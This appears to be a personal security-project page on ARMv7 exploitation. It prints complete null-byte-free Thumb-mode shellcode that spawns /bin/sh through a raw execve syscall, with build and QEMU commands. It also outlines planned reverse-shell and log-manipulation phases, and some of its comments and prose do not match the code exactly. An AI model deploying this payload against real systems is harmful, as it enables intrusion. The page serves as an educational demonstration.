02 · Low-Level Security · ARMv7 · In Progress

ARMv7
Low-Level Security

Three-phase security project on ARMv7 architecture. Position-independent shellcode in Thumb mode with null-byte avoidance and direct syscall invocation. Phase 1 complete.

ARMv7 ASMThumb Mode Linux SyscallsGDB QEMUPosition-Independent Code
Overview

This project explores low-level ARMv7 exploitation techniques through a structured three-phase progression. Each phase builds on the previous, covering local execution, network-based access, and post-exploitation. The target environment is ARMv7 (32-bit) running under QEMU user-mode emulation on Linux.

The core constraint throughout: shellcode must be fully position-independent and null-byte free, making it compatible with string-based exploitation vectors such as strcpy buffer overflows where a 0x00 byte would terminate the payload.

Project Phases
01
Local Shell Execution Complete
Position-independent execve shellcode that spawns /bin/sh via direct syscall. Written in ARMv7 Thumb mode. Stack-based string construction, null-byte avoidance, 8-byte alignment trick. Validated in GDB and QEMU.
02
Network Reverse Shell In Progress
Socket-based reverse shell over TCP. Raw socket syscalls (socket, connect, dup2, execve) without libc. Same null-byte and position-independence constraints.
03
Trace Concealment Planned
Post-exploitation analysis — process hiding, log manipulation, and forensic artifact minimization on Linux ARMv7 targets.
Phase 1 — Technical Implementation
Thumb Mode Switch ARM 32-bit instructions frequently contain 0x00 bytes. Switching to Thumb (16-bit) encoding via BX to an odd address produces denser instructions that avoid null bytes in the payload.
Stack-Based String The "//bin/sh" string is built byte-by-byte using MOV + LSL + ADD sequences, then pushed onto the stack. No data section, no literal pool loads — every byte is synthesized in a register via shifts, keeping the shellcode fully position-independent.
8-Byte Alignment Trick "//bin/sh" (8 bytes) instead of "/bin/sh" (7 bytes) allows two clean 4-byte pushes without null-byte padding. The kernel ignores the double slash.
Endianness & Stack Order Stack grows downward (high → low), strings are read upward (low → high). The high half "n/sh" (0x6e2f7368) is pushed first (high mem), "//bi" (0x2f2f6269) second (low mem). Each word is built via byte shifts rather than literal loads — result in memory: "//bin/sh".
Raw Syscall (execve) No libc. Syscall number 11 (execve) loaded into R7 directly. SVC #0 triggers the kernel transition. No function calls, no PLT, no GOT.
Register Map at Syscall
Register Value Purpose
R0SP (stack pointer)Pointer to "//bin/sh" on stack — execve filename arg
R10x00000000 (zeroed via EOR)NULL — argv (no arguments)
R20x00000000 (zeroed via EOR)NULL — envp (no environment)
R711 (0x0B)Syscall number — execve
Core Assembly — Phase 1
.section .text
.global _start
_start:

@ Switch to Thumb mode — ARM → Thumb state transition
.code 32
    add r3, pc, #1         @ compute odd address (Thumb)
    bx  r3                 @ branch → switches to Thumb mode

.code 16
@ Zero out registers — EOR avoids 0x00 bytes in encoding
    eor  r0, r0            @ R0 = 0
    eor  r1, r1            @ R1 = 0
    eor  r2, r2            @ R2 = 0
    push {r1}              @ push null terminator onto stack

@ Build "n/sh" byte-by-byte and push — high half of string
    mov  r3, #0x68        @ 'h'
    lsl  r3, #8
    add  r3, #0x73        @ 's'
    lsl  r3, #8
    add  r3, #0x2f        @ '/'
    lsl  r3, #8
    add  r3, #0x6e        @ 'n' → R3 = 0x6e2f7368 ("n/sh")
    push {r3}              @ push high half

@ Build "//bi" byte-by-byte and push — low half of string
    mov  r3, #0x69        @ 'i'
    lsl  r3, #8
    add  r3, #0x62        @ 'b'
    lsl  r3, #8
    add  r3, #0x2f        @ '/'
    lsl  r3, #8
    add  r3, #0x2f        @ '/' → R3 = 0x2f2f6269 ("//bi")
    push {r3}              @ push low half → memory: "//bin/sh\0"

@ Set up execve(filename, NULL, NULL)
    mov  r0, sp            @ R0 = pointer to "//bin/sh" on stack
    mov  r7, #11           @ R7 = execve syscall number
    svc  #1                @ kernel call → shell spawned
Build & Run
# Assemble and link
arm-linux-gnueabi-as -o shellcode.o shellcode.s
arm-linux-gnueabi-ld -o shellcode shellcode.o

# Or with Make
make

# Run under QEMU user-mode emulation
qemu-arm ./shellcode

# Expected output: shell prompt ($) — execve succeeded

Prerequisites: gcc-arm-linux-gnueabi and qemu-user. Verification via GDB — memory visualization of stack alignment and register states before the SVC instruction confirms correct setup.

Disclaimer

This project is for educational purposes only — it demonstrates low-level ARMv7 architecture concepts, memory management, and Linux system call interfaces. All testing is performed in an isolated QEMU environment on personal hardware. No real systems are targeted.